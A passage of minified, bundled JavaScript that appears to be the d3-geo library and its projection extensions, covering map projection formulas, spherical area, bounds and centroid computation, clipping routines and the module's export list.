ot=P(Ve/h),ft=(1-ot*ot-(Je/=h)*Je)/(2*ot),Ct=ft*ft,At=I(Ct+1);return[u(Ve)*h*(At-ft),u(Je)*i*s(2*L(I((1-2*ft*ot)*(ft+At)-ot),I(At+ft+ot)))]};function gf(){return(0,M.Z)($o).scale(79.4183)}function fu(Ve,Je){if(P(Je)<c)return[Ve,0];var ot=Je/i,ft=C(ot);if(P(Ve)<c||P(P(Je)-i)<c)return[0,h*y(ft/2)];var Ct=(h/Ve-Ve/h)/2,At=ot/(1+S(ft));return[h*(u(Ve)*I(Ct*Ct+1-At*At)-Ct),h*At]}fu.invert=function(Ve,Je){if(!Je)return[Ve,0];var ot=Je/h,ft=(h*h*(1-ot*ot)-Ve*Ve)/(2*h*Ve);return[Ve?h*(u(Ve)*I(ft*ft+1)-ft):0,i*s(2*o(ot))]};function Dl(){return(0,M.Z)(fu).scale(79.4183)}function Yi(Ve,Je){if(!Je)return[Ve,0];var ot=P(Je);if(!Ve||ot===i)return[0,Je];var ft=ot/i,Ct=ft*ft,At=(8*ft-Ct*(Ct+2)-5)/(2*Ct*(ft-1)),Rt=At*At,ir=ft*At,cr=Ct+Rt+2*ir,Qt=ft+3*At,gr=Ve/i,Tr=gr+1/gr,Br=u(P(Ve)-i)*I(Tr*Tr-4),Wr=Br*Br,cn=cr*(Ct+Rt*Wr-1)+(1-Ct)*(Ct*(Qt*Qt+4*Rt)+12*ir*Rt+4*Rt*Rt),dn=(Br*(cr+Rt-1)+2*I(cn))/(4*cr+Wr);return[u(Ve)*i*dn,u(Je)*i*I(1+Br*P(dn)-dn*dn)]}Yi.invert=function(Ve,Je){var ot;if(!Ve||!Je)return[Ve,Je];Je/=h;var ft=u(Ve)*Ve/i,Ct=(ft*ft-1+4*Je*Je)/P(ft),At=Ct*Ct,Rt=2*Je,ir=50;do{var cr=Rt*Rt,Qt=(8*Rt-cr*(cr+2)-5)/(2*cr*(Rt-1)),gr=(3*Rt-cr*Rt-10)/(2*cr*Rt),Tr=Qt*Qt,Br=Rt*Qt,Wr=Rt+Qt,cn=Wr*Wr,dn=Rt+3*Qt,An=cn*(cr+Tr*At-1)+(1-cr)*(cr*(dn*dn+4*Tr)+Tr*(12*Br+4*Tr)),ia=-2*Wr*(4*Br*Tr+(1-4*cr+3*cr*cr)*(1+gr)+Tr*(-6+14*cr-At+(-8+8*cr-2*At)*gr)+Br*(-8+12*cr+(-10+10*cr-At)*gr)),ma=I(An),wa=Ct*(cn+Tr-1)+2*ma-ft*(4*cn+At),Ta=Ct*(2*Qt*gr+2*Wr*(1+gr))+ia/ma-8*Wr*(Ct*(-1+Tr+cn)+2*ma)*(1+gr)/(At+4*cn);Rt-=ot=wa/Ta}while(ot>c&&--ir>0);return[u(Ve)*(I(Ct*Ct+4)+Ct)*h/4,i*Rt]};function _u(){return(0,M.Z)(Yi).scale(127.16)}function sl(Ve,Je,ot,ft,Ct){function At(Rt,ir){var cr=ot*s(ft*ir),Qt=I(1-cr*cr),gr=I(2/(1+Qt*S(Rt*=Ct)));return[Ve*Qt*gr*s(Rt),Je*cr*gr]}return At.invert=function(Rt,ir){var cr=Rt/Ve,Qt=ir/Je,gr=I(cr*cr+Qt*Qt),Tr=2*C(gr/2);return[L(Rt*y(Tr),Ve*gr)/Ct,gr&&C(ir*s(Tr)/(Je*ot*gr))/ft]},At}function Fo(Ve,Je,ot,ft){var Ct=h/3;Ve=r(Ve,c),Je=r(Je,c),Ve=f(Ve,i),Je=f(Je,h-c),ot=r(ot,0),ot=f(ot,100-c),ft=r(ft,c);var At=ot/100+1,Rt=ft/100,ir=x(At*S(Ct))/Ct,cr=s(Ve)/s(ir*i),Qt=Je/h,gr=I(Rt*s(Ve/2)/s(Je/2)),Tr=gr/I(Qt*cr*ir),Br=1/(gr*I(Qt*cr*ir));return sl(Tr,Br,cr,ir,Qt)}function ll(){var Ve=65*m,Je=60*m,ot=20,ft=200,Ct=(0,M.r)(Fo),At=Ct(Ve,Je,ot,ft);return At.poleline=function(Rt){return arguments.length?Ct(Ve=+Rt*m,Je,ot,ft):Ve*A},At.parallels=function(Rt){return arguments.length?Ct(Ve,Je=+Rt*m,ot,ft):Je*A},At.inflation=function(Rt){return arguments.length?Ct(Ve,Je,ot=+Rt,ft):ot},At.ratio=function(Rt){return arguments.length?Ct(Ve,Je,ot,ft=+Rt):ft},At.scale(163.775)}function fs(){return ll().poleline(65).parallels(60).inflation(0).ratio(200).scale(172.633)}var Il=4*h+3*I(3),zu=2*I(2*h*I(3)/Il),cu=ge(zu*I(3)/h,zu,Il/6);function hu(){return(0,M.Z)(cu).scale(176.84)}function Ss(Ve,Je){return[Ve*I(1-3*Je*Je/(h*h)),Je]}Ss.invert=function(Ve,Je){return[Ve/I(1-3*Je*Je/(h*h)),Je]};function kl(){return(0,M.Z)(Ss).scale(152.63)}function ul(Ve,Je){var ot=S(Je),ft=S(Ve)*ot,Ct=1-ft,At=S(Ve=L(s(Ve)*ot,-s(Je))),Rt=s(Ve);return ot=I(1-ft*ft),[Rt*ot-At*Ct,-At*ot-Rt*Ct]}ul.invert=function(Ve,Je){var ot=(Ve*Ve+Je*Je)/-2,ft=I(-ot*(2+ot)),Ct=Je*ot+Ve*ft,At=Ve*ot-Je*ft,Rt=I(At*At+Ct*Ct);return[L(ft*Ct,Rt*(1+ot)),Rt?-C(ft*At/Rt):0]};function Fu(){return(0,M.Z)(ul).rotate([0,-90,45]).scale(124.75).clipAngle(179.999)}function fl(Ve,Je){var ot=G(Ve,Je);return[(ot[0]+Ve/i)/2,(ot[1]+Je)/2]}fl.invert=function(Ve,Je){var ot=Ve,ft=Je,Ct=25;do{var At=S(ft),Rt=s(ft),ir=s(2*ft),cr=Rt*Rt,Qt=At*At,gr=s(ot),Tr=S(ot/2),Br=s(ot/2),Wr=Br*Br,cn=1-Qt*Tr*Tr,dn=cn?x(At*Tr)*I(An=1/cn):An=0,An,ia=.5*(2*dn*At*Br+ot/i)-Ve,ma=.5*(dn*Rt+ft)-Je,wa=.5*An*(Qt*Wr+dn*At*Tr*cr)+.5/i,Ta=An*(gr*ir/4-dn*Rt*Br),Ma=.125*An*(ir*Br-dn*Rt*Qt*gr),ja=.5*An*(cr*Tr+dn*Wr*At)+.5,yi=Ta*Ma-ja*wa,ni=(ma*Ta-ia*ja)/yi,se=(ia*Ma-ma*wa)/yi;ot-=ni,ft-=se}while((P(ni)>c||P(se)>c)&&--Ct>0);return[ot,ft]};function Ou(){return(0,M.Z)(fl).scale(158.837)}},33940:function(te,Z,e){e.d(Z,{Z:function(){return M}});function M(){return new P}function P(){this.reset()}P.prototype={constructor:P,reset:function(){this.s=this.t=0},add:function(S){L(o,S,this.t),L(this,o.s,this.s),this.s?this.t+=o.t:this.s=o.t},valueOf:function(){return this.s}};var o=new P;function L(S,d,g){var t=S.s=d+g,r=t-d,f=t-r;S.t=d-f+(g-r)}},97860:function(te,Z,e){e.d(Z,{L9:function(){return S},ZP:function(){return b},gL:function(){return l}});var M=e(33940),P=e(39695),o=e(73182),L=e(72736),S=(0,M.Z)(),d=(0,M.Z)(),g,t,r,f,a,l={point:o.Z,lineStart:o.Z,lineEnd:o.Z,polygonStart:function(){S.reset(),l.lineStart=u,l.lineEnd=s},polygonEnd:function(){var h=+S;d.add(h<0?P.BZ+h:h),this.lineStart=this.lineEnd=this.point=o.Z},sphere:function(){d.add(P.BZ)}};function u(){l.point=y}function s(){c(g,t)}function y(h,i){l.point=c,g=h,t=i,h*=P.uR,i*=P.uR,r=h,f=(0,P.mC)(i=i/2+P.pu),a=(0,P.O$)(i)}function c(h,i){h*=P.uR,i*=P.uR,i=i/2+P.pu;var v=h-r,T=v>=0?1:-1,w=T*v,E=(0,P.mC)(i),p=(0,P.O$)(i),A=a*p,m=f*E+A*(0,P.mC)(w),n=A*T*(0,P.O$)(w);S.add((0,P.fv)(n,m)),r=h,f=E,a=p}function b(h){return d.reset(),(0,L.Z)(h,l),d*2}},77338:function(te,Z,e){e.d(Z,{Z:function(){return C}});var M=e(33940),P=e(97860),o=e(7620),L=e(39695),S=e(72736),d,g,t,r,f,a,l,u,s=(0,M.Z)(),y,c,b={point:h,lineStart:v,lineEnd:T,polygonStart:function(){b.point=w,b.lineStart=E,b.lineEnd=p,s.reset(),P.gL.polygonStart()},polygonEnd:function(){P.gL.polygonEnd(),b.point=h,b.lineStart=v,b.lineEnd=T,P.L9<0?(d=-(t=180),g=-(r=90)):s>L.Ho?r=90:s<-L.Ho&&(g=-90),c[0]=d,c[1]=t},sphere:function(){d=-(t=180),g=-(r=90)}};function h(x,I){y.push(c=[d=x,t=x]),I<g&&(g=I),I>r&&(r=I)}function i(x,I){var k=(0,o.Og)([x*L.uR,I*L.uR]);if(u){var B=(0,o.T5)(u,k),_=[B[1],-B[0],0],F=(0,o.T5)(_,B);(0,o.iJ)(F),F=(0,o.Y1)(F);var O=x-f,z=O>0?1:-1,N=F[0]*L.RW*z,G,J=(0,L.Wn)(O)>180;J^(z*f<N&&N<z*x)?(G=F[1]*L.RW,G>r&&(r=G)):(N=(N+360)%360-180,J^(z*f<N&&N<z*x)?(G=-F[1]*L.RW,G<g&&(g=G)):(I<g&&(g=I),I>r&&(r=I))),J?x<f?A(d,x)>A(d,t)&&(t=x):A(x,t)>A(d,t)&&(d=x):t>=d?(x<d&&(d=x),x>t&&(t=x)):x>f?A(d,x)>A(d,t)&&(t=x):A(x,t)>A(d,t)&&(d=x)}else y.push(c=[d=x,t=x]);I<g&&(g=I),I>r&&(r=I),u=k,f=x}function v(){b.point=i}function T(){c[0]=d,c[1]=t,b.point=h,u=null}function w(x,I){if(u){var k=x-f;s.add((0,L.Wn)(k)>180?k+(k>0?360:-360):k)}else a=x,l=I;P.gL.point(x,I),i(x,I)}function E(){P.gL.lineStart()}function p(){w(a,l),P.gL.lineEnd(),(0,L.Wn)(s)>L.Ho&&(d=-(t=180)),c[0]=d,c[1]=t,u=null}function A(x,I){return(I-=x)<0?I+360:I}function m(x,I){return x[0]-I[0]}function n(x,I){return x[0]<=x[1]?x[0]<=I&&I<=x[1]:I<x[0]||x[1]<I}function C(x){var I,k,B,_,F,O,z;if(r=t=-(d=g=1/0),y=[],(0,S.Z)(x,b),k=y.length){for(y.sort(m),I=1,B=y[0],F=[B];I<k;++I)_=y[I],n(B,_[0])||n(B,_[1])?(A(B[0],_[1])>A(B[0],B[1])&&(B[1]=_[1]),A(_[0],B[1])>A(B[0],B[1])&&(B[0]=_[0])):F.push(B=_);for(O=-1/0,k=F.length-1,I=0,B=F[k];I<=k;B=_,++I)_=F[I],(z=A(B[1],_[0]))>O&&(O=z,d=_[0],t=B[1])}return y=c=null,d===1/0||g===1/0?[[NaN,NaN],[NaN,NaN]]:[[d,g],[t,r]]}},7620:function(te,Z,e){e.d(Z,{Og:function(){return o},T:function(){return g},T5:function(){return S},Y1:function(){return P},iJ:function(){return t},j9:function(){return L},s0:function(){return d}});var M=e(39695);function P(r){return[(0,M.fv)(r[1],r[0]),(0,M.ZR)(r[2])]}function o(r){var f=r[0],a=r[1],l=(0,M.mC)(a);return[l*(0,M.mC)(f),l*(0,M.O$)(f),(0,M.O$)(a)]}function L(r,f){return r[0]*f[0]+r[1]*f[1]+r[2]*f[2]}function S(r,f){return[r[1]*f[2]-r[2]*f[1],r[2]*f[0]-r[0]*f[2],r[0]*f[1]-r[1]*f[0]]}function d(r,f){r[0]+=f[0],r[1]+=f[1],r[2]+=f[2]}function g(r,f){return[r[0]*f,r[1]*f,r[2]*f]}function t(r){var f=(0,M._b)(r[0]*r[0]+r[1]*r[1]+r[2]*r[2]);r[0]/=f,r[1]/=f,r[2]/=f}},66624:function(te,Z,e){e.d(Z,{Z:function(){return k}});var M=e(39695),P=e(73182),o=e(72736),L,S,d,g,t,r,f,a,l,u,s,y,c,b,h,i,v={sphere:P.Z,point:T,lineStart:E,lineEnd:m,polygonStart:function(){v.lineStart=n,v.lineEnd=C},polygonEnd:function(){v.lineStart=E,v.lineEnd=m}};function T(B,_){B*=M.uR,_*=M.uR;var F=(0,M.mC)(_);w(F*(0,M.mC)(B),F*(0,M.O$)(B),(0,M.O$)(_))}function w(B,_,F){++L,d+=(B-d)/L,g+=(_-g)/L,t+=(F-t)/L}function E(){v.point=p}function p(B,_){B*=M.uR,_*=M.uR;var F=(0,M.mC)(_);b=F*(0,M.mC)(B),h=F*(0,M.O$)(B),i=(0,M.O$)(_),v.point=A,w(b,h,i)}function A(B,_){B*=M.uR,_*=M.uR;var F=(0,M.mC)(_),O=F*(0,M.mC)(B),z=F*(0,M.O$)(B),N=(0,M.O$)(_),G=(0,M.fv)((0,M._b)((G=h*N-i*z)*G+(G=i*O-b*N)*G+(G=b*z-h*O)*G),b*O+h*z+i*N);S+=G,r+=G*(b+(b=O)),f+=G*(h+(h=z)),a+=G*(i+(i=N)),w(b,h,i)}function m(){v.point=T}function n(){v.point=x}function C(){I(y,c),v.point=T}function x(B,_){y=B,c=_,B*=M.uR,_*=M.uR,v.point=I;var F=(0,M.mC)(_);b=F*(0,M.mC)(B),h=F*(0,M.O$)(B),i=(0,M.O$)(_),w(b,h,i)}function I(B,_){B*=M.uR,_*=M.uR;var F=(0,M.mC)(_),O=F*(0,M.mC)(B),z=F*(0,M.O$)(B),N=(0,M.O$)(_),G=h*N-i*z,J=i*O-b*N,q=b*z-h*O,ne=(0,M._b)(G*G+J*J+q*q),fe=(0,M.ZR)(ne),X=ne&&-fe/ne;l+=X*G,u+=X*J,s+=X*q,S+=fe,r+=fe*(b+(b=O)),f+=fe*(h+(h=z)),a+=fe*(i+(i=N)),w(b,h,i)}function k(B){L=S=d=g=t=r=f=a=l=u=s=0,(0,o.Z)(B,v);var _=l,F=u,O=s,z=_*_+F*F+O*O;return z<M.aW&&(_=r,F=f,O=a,S<M.Ho&&(_=d,F=g,O=t),z=_*_+F*F+O*O,z<M.aW)?[NaN,NaN]:[(0,M.fv)(F,_)*M.RW,(0,M.ZR)(O/(0,M._b)(z))*M.RW]}},7613:function(te,Z,e){e.d(Z,{m:function(){return S},Z:function(){return g}});var M=e(7620);function P(t){return function(){return t}}var o=e(39695),L=e(49386);function S(t,r,f,a,l,u){if(f){var s=(0,o.mC)(r),y=(0,o.O$)(r),c=a*f;l==null?(l=r+a*o.BZ,u=r-c/2):(l=d(s,l),u=d(s,u),(a>0?l<u:l>u)&&(l+=a*o.BZ));for(var b,h=l;a>0?h>u:h<u;h-=c)b=(0,M.Y1)([s,-y*(0,o.mC)(h),-y*(0,o.O$)(h)]),t.point(b[0],b[1])}}function d(t,r){r=(0,M.Og)(r),r[0]-=t,(0,M.iJ)(r);var f=(0,o.Kh)(-r[1]);return((-r[2]<0?-f:f)+o.BZ-o.Ho)%o.BZ}function g(){var t=P([0,0]),r=P(90),f=P(6),a,l,u={point:s};function s(c,b){a.push(c=l(c,b)),c[0]*=o.RW,c[1]*=o.RW}function y(){var c=t.apply(this,arguments),b=r.apply(this,arguments)*o.uR,h=f.apply(this,arguments)*o.uR;return a=[],l=(0,L.I)(-c[0]*o.uR,-c[1]*o.uR,0).invert,S(u,b,h,1),c={type:"Polygon",coordinates:[a]},a=l=null,c}return y.center=function(c){return arguments.length?(t=typeof c=="function"?c:P([+c[0],+c[1]]),y):t},y.radius=function(c){return arguments.length?(r=typeof c=="function"?c:P(+c),y):r},y.precision=function(c){return arguments.length?(f=typeof c=="function"?c:P(+c),y):f},y}},87070:function(te,Z,e){var M=e(97023),P=e(39695);Z.Z=(0,M.Z)(function(){return!0},o,S,[-P.pi,-P.ou]);function o(d){var g=NaN,t=NaN,r=NaN,f;return{lineStart:function(){d.lineStart(),f=1},point:function(a,l){var u=a>0?P.pi:-P.pi,s=(0,P.Wn)(a-g);(0,P.Wn)(s-P.pi)<P.Ho?(d.point(g,t=(t+l)/2>0?P.ou:-P.ou),d.point(r,t),d.lineEnd(),d.lineStart(),d.point(u,t),d.point(a,t),f=0):r!==u&&s>=P.pi&&((0,P.Wn)(g-r)<P.Ho&&(g-=r*P.Ho),(0,P.Wn)(a-u)<P.Ho&&(a-=u*P.Ho),t=L(g,t,a,l),d.point(r,t),d.lineEnd(),d.lineStart(),d.point(u,t),f=0),d.point(g=a,t=l),r=u},lineEnd:function(){d.lineEnd(),g=t=NaN},clean:function(){return 2-f}}}function L(d,g,t,r){var f,a,l=(0,P.O$)(d-t);return(0,P.Wn)(l)>P.Ho?(0,P.z4)(((0,P.O$)(g)*(a=(0,P.mC)(r))*(0,P.O$)(t)-(0,P.O$)(r)*(f=(0,P.mC)(g))*(0,P.O$)(d))/(f*a*l)):(g+r)/2}function S(d,g,t,r){var f;if(d==null)f=t*P.ou,r.point(-P.pi,f),r.point(0,f),r.point(P.pi,f),r.point(P.pi,0),r.point(P.pi,-f),r.point(0,-f),r.point(-P.pi,-f),r.point(-P.pi,0),r.point(-P.pi,f);else if((0,P.Wn)(d[0]-g[0])>P.Ho){var a=d[0]<g[0]?P.pi:-P.pi;f=t*a/2,r.point(-a,f),r.point(0,f),r.point(a,f)}else r.point(g[0],g[1])}},85272:function(te,Z,e){e.d(Z,{Z:function(){return P}});var M=e(73182);function P(){var o=[],L;return{point:function(S,d,g){L.push([S,d,g])},lineStart:function(){o.push(L=[])},lineEnd:M.Z,rejoin:function(){o.length>1&&o.push(o.pop().concat(o.shift()))},result:function(){var S=o;return o=[],L=null,S}}}},1457:function(te,Z,e){e.d(Z,{Z:function(){return d}});var M=e(7620),P=e(7613),o=e(39695),L=e(67108),S=e(97023);function d(g){var t=(0,o.mC)(g),r=6*o.uR,f=t>0,a=(0,o.Wn)(t)>o.Ho;function l(b,h,i,v){(0,P.m)(v,g,r,i,b,h)}function u(b,h){return(0,o.mC)(b)*(0,o.mC)(h)>t}function s(b){var h,i,v,T,w;return{lineStart:function(){T=v=!1,w=1},point:function(E,p){var A=[E,p],m,n=u(E,p),C=f?n?0:c(E,p):n?c(E+(E<0?o.pi:-o.pi),p):0;if(!h&&(T=v=n)&&b.lineStart(),n!==v&&(m=y(h,A),(!m||(0,L.Z)(h,m)||(0,L.Z)(A,m))&&(A[2]=1)),n!==v)w=0,n?(b.lineStart(),m=y(A,h),b.point(m[0],m[1])):(m=y(h,A),b.point(m[0],m[1],2),b.lineEnd()),h=m;else if(a&&h&&f^n){var x;!(C&i)&&(x=y(A,h,!0))&&(w=0,f?(b.lineStart(),b.point(x[0][0],x[0][1]),b.point(x[1][0],x[1][1]),b.lineEnd()):(b.point(x[1][0],x[1][1]),b.lineEnd(),b.lineStart(),b.point(x[0][0],x[0][1],3)))}n&&(!h||!(0,L.Z)(h,A))&&b.point(A[0],A[1]),h=A,v=n,i=C},lineEnd:function(){v&&b.lineEnd(),h=null},clean:function(){return w|(T&&v)<<1}}}function y(b,h,i){var v=(0,M.Og)(b),T=(0,M.Og)(h),w=[1,0,0],E=(0,M.T5)(v,T),p=(0,M.j9)(E,E),A=E[0],m=p-A*A;if(!m)return!i&&b;var n=t*p/m,C=-t*A/m,x=(0,M.T5)(w,E),I=(0,M.T)(w,n),k=(0,M.T)(E,C);(0,M.s0)(I,k);var B=x,_=(0,M.j9)(I,B),F=(0,M.j9)(B,B),O=_*_-F*((0,M.j9)(I,I)-1);if(!(O<0)){var z=(0,o._b)(O),N=(0,M.T)(B,(-_-z)/F);if((0,M.s0)(N,I),N=(0,M.Y1)(N),!i)return N;var G=b[0],J=h[0],q=b[1],ne=h[1],fe;J<G&&(fe=G,G=J,J=fe);var X=J-G,W=(0,o.Wn)(X-o.pi)<o.Ho,V=W||X<o.Ho;if(!W&&ne<q&&(fe=q,q=ne,ne=fe),V?W?q+ne>0^N[1]<((0,o.Wn)(N[0]-G)<o.Ho?q:ne):q<=N[1]&&N[1]<=ne:X>o.pi^(G<=N[0]&&N[0]<=J)){var Y=(0,M.T)(B,(-_+z)/F);return(0,M.s0)(Y,I),[N,(0,M.Y1)(Y)]}}}function c(b,h){var i=f?g:o.pi-g,v=0;return b<-i?v|=1:b>i&&(v|=2),h<-i?v|=4:h>i&&(v|=8),v}return(0,S.Z)(u,s,l,f?[0,-g]:[-o.pi,g-o.pi])}},97023:function(te,Z,e){e.d(Z,{Z:function(){return d}});var M=e(85272),P=e(46225),o=e(39695),L=e(23071),S=e(33064);function d(r,f,a,l){return function(u){var s=f(u),y=(0,M.Z)(),c=f(y),b=!1,h,i,v,T={point:w,lineStart:p,lineEnd:A,polygonStart:function(){T.point=m,T.lineStart=n,T.lineEnd=C,i=[],h=[]},polygonEnd:function(){T.point=w,T.lineStart=p,T.lineEnd=A,i=(0,S.TS)(i);var x=(0,L.Z)(h,l);i.length?(b||(u.polygonStart(),b=!0),(0,P.Z)(i,t,x,a,u)):x&&(b||(u.polygonStart(),b=!0),u.lineStart(),a(null,null,1,u),u.lineEnd()),b&&(u.polygonEnd(),b=!1),i=h=null},sphere:function(){u.polygonStart(),u.lineStart(),a(null,null,1,u),u.lineEnd(),u.polygonEnd()}};function w(x,I){r(x,I)&&u.point(x,I)}function E(x,I){s.point(x,I)}function p(){T.point=E,s.lineStart()}function A(){T.point=w,s.lineEnd()}function m(x,I){v.push([x,I]),c.point(x,I)}function n(){c.lineStart(),v=[]}function C(){m(v[0][0],v[0][1]),c.lineEnd();var x=c.clean(),I=y.result(),k,B=I.length,_,F,O;if(v.pop(),h.push(v),v=null,!!B){if(x&1){if(F=I[0],(_=F.length-1)>0){for(b||(u.polygonStart(),b=!0),u.lineStart(),k=0;k<_;++k)u.point((O=F[k])[0],O[1]);u.lineEnd()}return}B>1&&x&2&&I.push(I.pop().concat(I.shift())),i.push(I.filter(g))}}return T}}function g(r){return r.length>1}function t(r,f){return((r=r.x)[0]<0?r[1]-o.ou-o.Ho:o.ou-r[1])-((f=f.x)[0]<0?f[1]-o.ou-o.Ho:o.ou-f[1])}},87605:function(te,Z,e){e.d(Z,{Z:function(){return t}});var M=e(39695),P=e(85272);function o(r,f,a,l,u,s){var y=r[0],c=r[1],b=f[0],h=f[1],i=0,v=1,T=b-y,w=h-c,E;if(E=a-y,!(!T&&E>0)){if(E/=T,T<0){if(E<i)return;E<v&&(v=E)}else if(T>0){if(E>v)return;E>i&&(i=E)}if(E=u-y,!(!T&&E<0)){if(E/=T,T<0){if(E>v)return;E>i&&(i=E)}else if(T>0){if(E<i)return;E<v&&(v=E)}if(E=l-c,!(!w&&E>0)){if(E/=w,w<0){if(E<i)return;E<v&&(v=E)}else if(w>0){if(E>v)return;E>i&&(i=E)}if(E=s-c,!(!w&&E<0)){if(E/=w,w<0){if(E>v)return;E>i&&(i=E)}else if(w>0){if(E<i)return;E<v&&(v=E)}return i>0&&(r[0]=y+i*T,r[1]=c+i*w),v<1&&(f[0]=y+v*T,f[1]=c+v*w),!0}}}}}var L=e(46225),S=e(33064),d=1e9,g=-d;function t(r,f,a,l){function u(h,i){return r<=h&&h<=a&&f<=i&&i<=l}function s(h,i,v,T){var w=0,E=0;if(h==null||(w=y(h,v))!==(E=y(i,v))||b(h,i)<0^v>0)do T.point(w===0||w===3?r:a,w>1?l:f);while((w=(w+v+4)%4)!==E);else T.point(i[0],i[1])}function y(h,i){return(0,M.Wn)(h[0]-r)<M.Ho?i>0?0:3:(0,M.Wn)(h[0]-a)<M.Ho?i>0?2:1:(0,M.Wn)(h[1]-f)<M.Ho?i>0?1:0:i>0?3:2}function c(h,i){return b(h.x,i.x)}function b(h,i){var v=y(h,1),T=y(i,1);return v!==T?v-T:v===0?i[1]-h[1]:v===1?h[0]-i[0]:v===2?h[1]-i[1]:i[0]-h[0]}return function(h){var i=h,v=(0,P.Z)(),T,w,E,p,A,m,n,C,x,I,k,B={point:_,lineStart:N,lineEnd:G,polygonStart:O,polygonEnd:z};function _(q,ne){u(q,ne)&&i.point(q,ne)}function F(){for(var q=0,ne=0,fe=w.length;ne<fe;++ne)for(var X=w[ne],W=1,V=X.length,Y=X[0],Q,ie,j=Y[0],K=Y[1];W<V;++W)Q=j,ie=K,Y=X[W],j=Y[0],K=Y[1],ie<=l?K>l&&(j-Q)*(l-ie)>(K-ie)*(r-Q)&&++q:K<=l&&(j-Q)*(l-ie)<(K-ie)*(r-Q)&&--q;return q}function O(){i=v,T=[],w=[],k=!0}function z(){var q=F(),ne=k&&q,fe=(T=(0,S.TS)(T)).length;(ne||fe)&&(h.polygonStart(),ne&&(h.lineStart(),s(null,null,1,h),h.lineEnd()),fe&&(0,L.Z)(T,c,q,s,h),h.polygonEnd()),i=h,T=w=E=null}function N(){B.point=J,w&&w.push(E=[]),I=!0,x=!1,n=C=NaN}function G(){T&&(J(p,A),m&&x&&v.rejoin(),T.push(v.result())),B.point=_,x&&i.lineEnd()}function J(q,ne){var fe=u(q,ne);if(w&&E.push([q,ne]),I)p=q,A=ne,m=fe,I=!1,fe&&(i.lineStart(),i.point(q,ne));else if(fe&&x)i.point(q,ne);else{var X=[n=Math.max(g,Math.min(d,n)),C=Math.max(g,Math.min(d,C))],W=[q=Math.max(g,Math.min(d,q)),ne=Math.max(g,Math.min(d,ne))];o(X,W,r,f,a,l)?(x||(i.lineStart(),i.point(X[0],X[1])),i.point(W[0],W[1]),fe||i.lineEnd(),k=!1):fe&&(i.lineStart(),i.point(q,ne),k=!1)}n=q,C=ne,x=fe}return B}}},46225:function(te,Z,e){e.d(Z,{Z:function(){return L}});var M=e(67108),P=e(39695);function o(d,g,t,r){this.x=d,this.z=g,this.o=t,this.e=r,this.v=!1,this.n=this.p=null}function L(d,g,t,r,f){var a=[],l=[],u,s;if(d.forEach(function(v){if(!((T=v.length-1)<=0)){var T,w=v[0],E=v[T],p;if((0,M.Z)(w,E)){if(!w[2]&&!E[2]){for(f.lineStart(),u=0;u<T;++u)f.point((w=v[u])[0],w[1]);f.lineEnd();return}E[0]+=2*P.Ho}a.push(p=new o(w,v,null,!0)),l.push(p.o=new o(w,null,p,!1)),a.push(p=new o(E,v,null,!1)),l.push(p.o=new o(E,null,p,!0))}}),!!a.length){for(l.sort(g),S(a),S(l),u=0,s=l.length;u<s;++u)l[u].e=t=!t;for(var y=a[0],c,b;;){for(var h=y,i=!0;h.v;)if((h=h.n)===y)return;c=h.z,f.lineStart();do{if(h.v=h.o.v=!0,h.e){if(i)for(u=0,s=c.length;u<s;++u)f.point((b=c[u])[0],b[1]);else r(h.x,h.n.x,1,f);h=h.n}else{if(i)for(c=h.p.z,u=c.length-1;u>=0;--u)f.point((b=c[u])[0],b[1]);else r(h.x,h.p.x,-1,f);h=h.p}h=h.o,c=h.z,i=!i}while(!h.v);f.lineEnd()}}}function S(d){if(g=d.length){for(var g,t=0,r=d[0],f;++t<g;)r.n=f=d[t],f.p=r,r=f;r.n=f=d[0],f.p=r}}},96059:function(te,Z,e){e.d(Z,{Z:function(){return M}});function M(P,o){function L(S,d){return S=P(S,d),o(S[0],S[1])}return P.invert&&o.invert&&(L.invert=function(S,d){return S=o.invert(S,d),S&&P.invert(S[0],S[1])}),L}},8593:function(te,Z,e){e.d(Z,{Z:function(){return M}});function M(P){return P}},27362:function(te,Z,e){e.r(Z),e.d(Z,{geoAlbers:function(){return dr},geoAlbersUsa:function(){return rt},geoArea:function(){return M.ZP},geoAzimuthalEqualArea:function(){return vt.Z},geoAzimuthalEqualAreaRaw:function(){return vt.l},geoAzimuthalEquidistant:function(){return gt.Z},geoAzimuthalEquidistantRaw:function(){return gt.N},geoBounds:function(){return P.Z},geoCentroid:function(){return o.Z},geoCircle:function(){return L.Z},geoClipAntimeridian:function(){return S.Z},geoClipCircle:function(){return d.Z},geoClipExtent:function(){return t},geoClipRectangle:function(){return g.Z},geoConicConformal:function(){return $t},geoConicConformalRaw:function(){return Yt},geoConicEqualArea:function(){return Ut},geoConicEqualAreaRaw:function(){return Vt},geoConicEquidistant:function(){return Ne},geoConicEquidistantRaw:function(){return Ue},geoContains:function(){return O},geoDistance:function(){return m},geoEqualEarth:function(){return or},geoEqualEarthRaw:function(){return It},geoEquirectangular:function(){return yr.Z},geoEquirectangularRaw:function(){return yr.k},geoGnomonic:function(){return ur.Z},geoGnomonicRaw:function(){return ur.M},geoGraticule:function(){return J},geoGraticule10:function(){return q},geoIdentity:function(){return lr},geoInterpolate:function(){return ne.Z},geoLength:function(){return E},geoMercator:function(){return Pt},geoMercatorRaw:function(){return mt},geoNaturalEarth1:function(){return Nr.Z},geoNaturalEarth1Raw:function(){return Nr.K},geoOrthographic:function(){return Rr.Z},geoOrthographicRaw:function(){return Rr.I},geoPath:function(){return Gt},geoProjection:function(){return er.Z},geoProjectionMutator:function(){return er.r},geoRotation:function(){return wt.Z},geoStereographic:function(){return Ur},geoStereographicRaw:function(){return vn},geoStream:function(){return u.Z},geoTransform:function(){return fr.Z},geoTransverseMercator:function(){return Sn},geoTransverseMercatorRaw:function(){return Mn}});var M=e(97860),P=e(77338),o=e(66624),L=e(7613),S=e(87070),d=e(1457),g=e(87605);function t(){var nr=0,Sr=0,Dr=960,Ir=500,Xr,an,tn;return tn={stream:function(gn){return Xr&&an===gn?Xr:Xr=(0,g.Z)(nr,Sr,Dr,Ir)(an=gn)},extent:function(gn){return arguments.length?(nr=+gn[0][0],Sr=+gn[0][1],Dr=+gn[1][0],Ir=+gn[1][1],Xr=an=null,tn):[[nr,Sr],[Dr,Ir]]}}}var r=e(23071),f=e(33940),a=e(39695),l=e(73182),u=e(72736),s=(0,f.Z)(),y,c,b,h={sphere:l.Z,point:l.Z,lineStart:i,lineEnd:l.Z,polygonStart:l.Z,polygonEnd:l.Z};function i(){h.point=T,h.lineEnd=v}function v(){h.point=h.lineEnd=l.Z}function T(nr,Sr){nr*=a.uR,Sr*=a.uR,y=nr,c=(0,a.O$)(Sr),b=(0,a.mC)(Sr),h.point=w}function 